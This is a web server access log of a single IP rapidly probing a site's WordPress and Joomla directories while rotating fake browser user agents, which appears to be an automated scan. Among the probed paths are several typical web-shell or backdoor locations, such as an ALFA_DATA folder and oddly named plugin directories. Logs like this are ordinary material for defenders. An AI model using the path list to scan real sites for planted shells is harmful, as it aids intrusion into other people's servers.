212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /autoload_classmap/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /components/com_jea/views/form/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /templates/beez/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:35 +0300] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /wp-content/plugins/up/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /images/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /wp-content/themes/twentytwentythree/patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:36 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:37 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:37 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:37 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:37 +0300] "GET /wp-content/plugins/phpadmin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:37 +0300] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:37 +0300] "GET /wp-content/plugins/view-more/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:37 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:37 +0300] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:37 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:37 +0300] "GET /wp-content/plugins/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:37 +0300] "GET /blog/wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:37 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:37 +0300] "GET /wp-content/themes/astra/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:37 +0300] "GET /wp-content/plugins/ccx/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:37 +0300] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:37 +0300] "GET /wp-includes/Requests/src/Exception/Http/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:38 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:38 +0300] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:38 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:38 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:38 +0300] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:38 +0300] "GET /blog/wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:38 +0300] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:38 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:38 +0300] "GET /.bod/.ll/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:38 +0300] "GET /wp-content/themes/twentytwentytwo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:38 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:38 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:38 +0300] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:38 +0300] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:38 +0300] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:38 +0300] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:38 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:38 +0300] "GET /wp-includes/bk/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /wp-content/themes/hello-element/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 